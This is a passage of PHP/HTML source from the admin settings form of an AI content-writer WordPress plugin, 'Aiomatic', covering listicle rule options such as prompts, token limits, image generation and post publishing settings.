to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant tags for the post title: "%%post_title%%". These tags must accurately reflect the key topics, themes, or keywords associated with the article and help improve its discoverability and organization.</textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_listicle_list[default_tags][]" value="" placeholder="Please insert your additional post tags here" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Advanced AI Text Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. The maximum amount which can be set is 4000. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Total Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_listicle_list[max_tokens][]" value="" placeholder="32768" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Prompt Token Count To Use Per API Request:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" max="128000" name="aiomatic_listicle_list[max_seed_tokens][]" value="" placeholder="1000" class="cr_width_full"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Temperature:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_listicle_list[temperature][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Top_p:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="1" step="0.01" name="aiomatic_listicle_list[top_p][]" value="" placeholder="1" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Presence Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_listicle_list[presence_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr><tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Frequency Penalty:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="0" max="2" step="0.01" name="aiomatic_listicle_list[frequency_penalty][]" value="" placeholder="0" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Image Generator Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin's 'Settings' menu -> 'Royalty Free Featured Image Importing Options' section.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Set A Featured Image For Posts (Select Source Below):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="royalty_free" name="aiomatic_listicle_list[royalty_free][]" checked> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the search query repetition mode, when searching royalty free images.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Search Query Repetition:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="search_query_repetition" name="aiomatic_listicle_list[search_query_repetition][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Use Different Search Queries For Images", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("Use The Same Search Query For Images", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable the AI Image Generator and to replace Royalty Free Images with AI generated images? If you select 'Default Featured Image List', you can add the image URLs in the 'Default Featured Image List' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Image Source:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="enable_ai_images" onchange="hideImage('');" name="aiomatic_listicle_list[enable_ai_images][]" class="cr_width_full"> <option value="0" selected><?php echo esc_html__("Royalty Free", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1"><?php echo esc_html__("OpenAI/AiomaticAPI", 'aiomatic-automatic-ai-content-writer');?></option> <?php if (isset($aiomatic_Main_Settings['stability_app_id']) && trim($aiomatic_Main_Settings['stability_app_id']) != '') { ?> <option value="2"><?php echo esc_html__("Stability.AI", 'aiomatic-automatic-ai-content-writer');?></option> <?php } if (isset($aiomatic_Main_Settings['midjourney_app_id']) && trim($aiomatic_Main_Settings['midjourney_app_id']) != '') { ?> <option value="4"><?php echo esc_html__("Midjourney", 'aiomatic-automatic-ai-content-writer');?></option> <?php } ?> <option value="3"><?php echo esc_html__("Manual URL List", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to the AI image generator. This command can be any given task or order, based on which, it will generate images. You can use the following shortcodes here: %%topic%%, %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. The length of this command should not be greater than 1000 characters, otherwise the plugin will strip it to 1000 characters length. - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>. The [aicontent] shortcode is able to be used also here.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Image Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-image-generating-for-openai-dall-e-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[ai_command_image][]" placeholder="Please insert a command for the AI image generator" class="cr_width_full">Generate a high-resolution, visually compelling image that creatively interprets the theme encapsulated by this post title: "%%post_title%%". The image should be versatile enough to fit various niches, from technology and lifestyle to nature and science. It should feature a central, eye-catching element that abstractly represents the topic, surrounded by relevant, subtler motifs that provide context and depth. The composition should be balanced and aesthetically pleasing, with a harmonious color palette that complements the mood of the title. The artwork should be suitable for use as a captivating header image for a blog post.</textarea> </td> </tr> <tr class="hideDalle cr_none"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI model you wish to use for image the image generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Image Model:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" id="image_model" name="aiomatic_listicle_list[image_model][]" class="cr_width_full"> <option value="dalle2"selected><?php echo esc_html__("Dall-E 2", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3"><?php echo esc_html__("Dall-E 3", 'aiomatic-automatic-ai-content-writer');?></option> <option value="dalle3hd"><?php echo esc_html__("Dall-E 3 HD", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr class="hideImg cr_none"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the size of the generated image.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Image Size:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="model" name="aiomatic_listicle_list[image_size][]" class="cr_width_full"> <option value="256x256"><?php echo esc_html__("256x256 (only for Dall-E 2)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="512x512"><?php echo esc_html__("512x512 (only for Dall-E 2 & Stable Diffusion)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1024" selected><?php echo esc_html__("1024x1024", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1792x1024"><?php echo esc_html__("1792x1024 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="1024x1792"><?php echo esc_html__("1024x1792 (only for Dall-E 3)", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Insert a comma separated list of links to valid images that will be set randomly for the featured image for the posts that do not have a valid image attached or if you disabled automatical featured image generator. You can also use image numeric IDs from images found in the Media Gallery. To disable this feature, leave this field blank. Spintax supported. You can also use the %%random_image[keyword]%% shortcode to automatically import a random image from Google Image Search with the Creative Commons filter applied. To get a related image, you can also use: %%random_image[%%post_title%%]%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Default Featured Image List:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_60p" name="aiomatic_listicle_list[image_url][]" placeholder="Please insert the link to a valid image (spintax supported)"></textarea> <input class="cr_width_33p aiomatic_image_button" type="button" value=">>>"/> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Posting Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be prepended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Prepend To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[post_prepend][]" placeholder="HTML content to prepend to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a HTML text that should be appended to the AI generated content in each created post. You can use the following shortcodes: %%custom_html%%, %%custom_html2%%, %%random_sentence%%, %%random_sentence2%%, %%random_image[keyword]%%, %%random_image_url[keyword]%%, %%random_video[keyword]%%, %%royalty_free_image_attribution%% - you can also use an optional parameter in the random_image and random_video shortcodes, which will add a percentage chance for the media to appear or not - example: %%random_video[keyword][60]%% - a video will appear in 60% of cases, in the rest of 40%, nothing will be returned by the shortcode - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("HTML Text To Append To AI Created Content:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[post_append][]" placeholder="HTML content to append to the AI generated content" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Custom AI generated content shortcode creator. If you wish to create content from multiple AI prompts, and use them in post content/post custom fields/taxonomies, you can configure this from here. Also, these shortcodes will be able to be used in custom fields or custom taxonomies which the plugin will create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, separate them by a new line. Example: my_custom_shortcode => gpt-4o-mini @@ Write a short poem. Afterwards, you can use shortcodes in any settings field that supports shortcodes (ex: 'HTML Text To Append To AI Created Content' settings field), like this: %%my_custom_shortcode%%. Official format is %%name_of_custom_shortcode%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Custom Shortcode Creator (Optional):", 'aiomatic-automatic-ai-content-writer');?></b><span class="tool" data-tip="Supported models: <?php echo implode(',', aiomatic_get_all_models());?>"> ⓘ</span> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[custom_shortcodes][]" placeholder="shortcode_name => AI_MODEL @@ AI_PROMPT" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("The AI writer might add the title of the post to the created post content. Check this checkbox if you want to remove the title from the post content.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Strip Title From Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="strip_title" name="aiomatic_listicle_list[strip_title][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip spinning of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Spin Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_spin" name="aiomatic_listicle_list[skip_spin][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"><?php echo esc_html__("Do you want to skip translating of posts generated by this rule?", 'aiomatic-automatic-ai-content-writer');?> </div> </div> <b><?php echo esc_html__("Do Not Translate Posts Generated By This Rule:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_translate" name="aiomatic_listicle_list[skip_translate][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to process each title from the added list only once.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Process Each Title/Topic Only Once:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="title_once" name="aiomatic_listicle_list[title_once][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to overwrite existing posts during the publishing process.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Overwrite Existing Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="overwrite_existing" name="aiomatic_listicle_list[overwrite_existing][]"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_listicle_list[strip_by_regex][]" placeholder="regex expression" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Content):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_listicle_list[replace_regex][]" placeholder="regex replacement" class="cr_width_full"></textarea> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the author that you want to assign for the automatically generated posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Author:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_author" name="aiomatic_listicle_list[post_author][]" class="cr_width_full"> <option value="rand"><?php echo esc_html__("Random user", 'aiomatic-automatic-ai-content-writer');?></option> <?php $blogusers = get_users( [ 'role__in' => [ 'contributor', 'author', 'editor', 'administrator' ] ] ); foreach ($blogusers as $user) { echo '<option value="' . esc_html($user->ID) . '"'; echo '>' . esc_html($user->display_name) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the status that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Status:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="submit_status" name="aiomatic_listicle_list[submit_status][]" class="cr_width_full"> <option value="pending"><?php echo esc_html__("Pending -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="draft"><?php echo esc_html__("Draft -> Moderate", 'aiomatic-automatic-ai-content-writer');?></option> <option value="publish" selected><?php echo esc_html__("Published", 'aiomatic-automatic-ai-content-writer');?></option> <option value="private"><?php echo esc_html__("Private", 'aiomatic-automatic-ai-content-writer');?></option> <option value="trash"><?php echo esc_html__("Trash", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the type (post/page) for your automatically generated item.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Item Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="default_type" name="aiomatic_listicle_list[default_type][]" class="cr_width_full"> <?php $is_first = true; foreach ( get_post_types( '', 'names' ) as $post_type ) { if(strstr($post_type, 'aiomatic_')) { continue; } echo '<option value="' . esc_attr($post_type) . '"'; if($is_first === true) { echo ' selected'; $is_first = false; } echo '>' . esc_html($post_type) . '</option>'; } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("If your template supports 'Post Formats', than you can select one here. If not, leave this at it's default value.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Generated Post Format:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="post_format" name="aiomatic_listicle_list[post_format][]" class="cr_width_full"> <option value="post-format-standard" selected><?php echo esc_html__("Standard", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-aside"><?php echo esc_html__("Aside", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-gallery"><?php echo esc_html__("Gallery", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-link"><?php echo esc_html__("Link", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-image"><?php echo esc_html__("Image", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-quote"><?php echo esc_html__("Quote", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-status"><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-video"><?php echo esc_html__("Video", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-audio"><?php echo esc_html__("Audio", 'aiomatic-automatic-ai-content-writer');?></option> <option value="post-format-chat"><?php echo esc_html__("Chat", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the ID of the parent of created posts. This is useful for BBPress integration, to assign forum IDs for created topics or for other similar functionalities.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Parent ID:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="number" min="1" class="cr_width_full" name="aiomatic_listicle_list[parent_id][]" value="" placeholder="Post parent ID" class="cr_width_full"> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable comments for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Comments For Posts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_comments" name="aiomatic_listicle_list[enable_comments][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to enable pingbacks/trackbacks for the generated posts?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable Pingback/Trackback:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="enable_pingback" name="aiomatic_listicle_list[enable_pingback][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Do you want to set a custom post publish date for posts? Set the range in the below field Accepted values for this field are listed: <a href='%s' target='_blank'>here</a>. To disable this feature, leave this field blank.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_url_raw( 'https://www.php.net/manual/en/datetime.formats.php' ) ); ?> </div> </div> <b><?php echo esc_html__("Set a Custom Post Publish Date Range:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" id="min_time" name="aiomatic_listicle_list[min_time][]" placeholder="Start time" class="cr_half"> - <input type="text" id="max_time" name="aiomatic_listicle_list[max_time][]" placeholder="End time" class="cr_half"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom fields that will be set for generated posts. The syntax for this field is the following: custom_field_name1 => custom_field_value1, custom_field_name2 => custom_field_value2, ... . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Custom Fields:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/post-template-reference-advanced-usage/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_listicle_list[custom_fields][]" placeholder="Please insert your desired custom fields. Example: title_custom_field => %%post_title%%" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text_top cr_min_260px"> <?php echo esc_html__("Set the custom taxonomies that will be set for generated posts. The syntax for this field is the following: custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set hierarhical taxonomies (parent > child), in this format: custom_taxonomy_name => parent1 > child1 . You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You can also use the following topic based shortcodes: %%post_title%%, %%random_sentence%%, 